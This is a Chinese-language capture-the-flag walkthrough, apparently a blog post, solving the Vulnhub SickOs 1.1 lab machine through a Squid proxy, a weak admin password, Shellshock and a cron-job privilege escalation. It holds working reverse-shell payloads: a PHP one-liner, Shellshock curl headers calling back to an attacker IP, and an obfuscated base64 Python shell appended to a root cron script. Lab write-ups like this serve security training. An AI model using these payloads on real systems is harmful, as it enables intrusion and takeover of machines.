Vulnhub靶机:SICKOS_ 1.1

介绍

系列:SickOs(此系列共2台)
发布日期:2015年12月11日
难度:初-中
运行环境:VMware Workstation
目标:取得 root 权限 + Flag
学习:

  • 主机发现
  • 端口扫描+漏洞扫描
  • 代理扫描
  • 搜寻网站后台
  • 后台写入shell
  • 计划任务提权
  • 破壳漏洞拿shell

靶机地址:https://www.vulnhub.com/entry/sickos-11,132/

信息收集

主机信息探测

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.229.0/24

主机信息探测

发现与web相关的是个3128端口,运行着squid/3.1.19,通过搜索引擎得知,squid是一个代理服务器和Web缓存服务器,主要用于Unix一类系统使用。

nmap -p- 192.168.229.135
nmap -p 22,3128,8080 -A 192.168.229.135
nmap-p 22,3128,8080 --script=vuln 192.168.229.135

在这里插入图片描述

网站探测

web服务没有什么有价值的信息,直接的目录爆破也无果。网页中的一个超链接点击后会打开电脑上自带的邮件软件。既然3128端口运行的是个代理服务,那就不妨试着把它当作代理,重新探测一下网站。
在这里插入图片描述

于是开始目录爆破

dirsearch -u http://192.168.229.135 --full-url -R 2 -x 404 --exclude-sizes=0B --proxy=http://192.168.229.135:3128

挂上代理后,网站首页没有发现什么东西,访问爆破的“/robots.txt”发现了一个有趣的目录
在这里插入图片描述

在这里插入图片描述

对着这个子目录二次爆破,没有发现有意义的目录,谷歌搜索了一下,发现了后台地址:
在这里插入图片描述

其实,如果注意到网页结构,直接修改一下也是可以直接跳转进后台地址的
在这里插入图片描述

使用弱口令admin、admin直接登录进去了
在这里插入图片描述

Getshell

MSF生成php类型的反弹shell代码,粘贴到某个页面中去,但是拿到shell不一会,连接就断开了,看样子需要换个反弹shell的命令。
在这里插入图片描述

在这里插入图片描述

谷歌搜索“php reverse shell one liner”,你会看到很多简单有效的一句话木马,如:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.0.1/1234 0>&1'"); ?>

此时,即便浏览器不再加载,我的shell也没有断开。
在这里插入图片描述

敏感信息收集

在当前目录下直接发现了一个配置文件,里面有一个数据库密码,按照靶机的一贯尿性,这个密码应该可以SSH登录靶机。检查发现/home目录下只有一个目录:sickos,于是SSH登录靶机
在这里插入图片描述

在这里插入图片描述

SUDO提权

在这里插入图片描述

第2种通关思路

nikto扫描站点

nikto扫描网站,发现疑似存在破壳漏洞
在这里插入图片描述

验证破壳漏洞

之前的靶机中,使用nmap和msf都可以确认有无破壳漏洞,这里我尝试了挂代理扫描,失败了,那么只好先认定存在破壳漏洞,直接打。
爆破/cgi-bin目录,发现存在响应码200的目录,并且以下目录都有结果:

  1. /cgi-bin/status
  2. /cgi-bin/status?full=true.sh

更多目录未作测试,应该也是可行的

dirsearch -u http://192.168.229.135/cgi-bin/ --full-url -x 403 -f -e cgi,sh --proxy=http://192.168.229.135:3128
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://192.168.229.135/cgi-bin/status --proxy http://192.168.229.135:3128

在这里插入图片描述

破壳漏洞利用

# 检测有无 nc
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.229.135/cgi-bin/status?full=true.sh --proxy http://192.168.229.135:3128

# 命令执行,反弹bash shell
curl -H "user-agent: () { :; };/bin/bash -i >& /dev/tcp/192.168.229.128/4444 0>&1" http://192.168.229.135/cgi-bin/status?full=true.sh --proxy http://192.168.229.135:3128

发现了一个敏感文件,但是没在计划任务中找到它,也许是找的方式不对。
在这里插入图片描述

计划任务提权

  1. 检查计划任务,发现了一个看起来可以用来计划任务提权的python脚本

在这里插入图片描述

  1. 生成python反弹shell的命令,并将其写入到py文件中
msfvenom -p cmd/unix/reverse_python lhost=192.168.229.128 lport=4455 -f raw

写入文件是时候已经乱成团了,没法正常编辑文件,按理来说,就算代码有问题,正确的代码也可以执行,但是没有收到shell
在这里插入图片描述

修复文件内容错乱 & 提权

在网上找到了一篇通关攻略,他是这么解决的:https://www.cnblogs.com/henry666/p/16954510.html
在非交互性Shell的环境执行vim命令,有些操作可能会比较诡异, 例如你不能上下左右的移动光标。首先输入o进入插入模式后(插入新的一行),然后复制粘贴,再按右上角的**ESC**+**wq**, 最后再按回车键,即可。


但是我已经把内容都搞乱了,没法那样修复了,连接冰蝎手动修复文件也是一种思路,但是麻烦。好在这个文件比较简单:

  1. 查看此文件内容,保存有价值的信息:#!/usr/bin/python
  2. 编辑此文件,vim connect.py,一旦打开文件,就长按键盘的d,这样connect.py就会被清空,然后保存退出
  3. 重新编辑此文件,首先输入o进入插入模式后(插入新的一行),然后粘贴#!/usr/bin/python,再按右上角的**ESC**+**wq**, 最后再按回车键,即可。
  4. 接下来就是追加payload,可以使用上一步的方法,也可以使用如下方式:
echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgjAUhf+K7GmDmG1oKLEHCYOICtJ30bVQsk289v9rLIu9eR/udg/fPWesew5mnAIw8qGmwNYqCODVDKORCmBWjLt9amtba2ASiKWcsk1COU8p4wnyEGsroiiOPRWES6LuwN8p21eHc17+8p1aXHbHqiiveXYivguVRmslJ4ztS+Y1G0l80gC9vQaOgd67XmmDyQyvl4JsKch9cBD/b6Sy7nuMwqbTYVNDi8gb7kNeeg==')[0])))" >> connect.py

查看发现内容无误,略等一会,拿到shell,提权成功。
在这里插入图片描述

总结

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值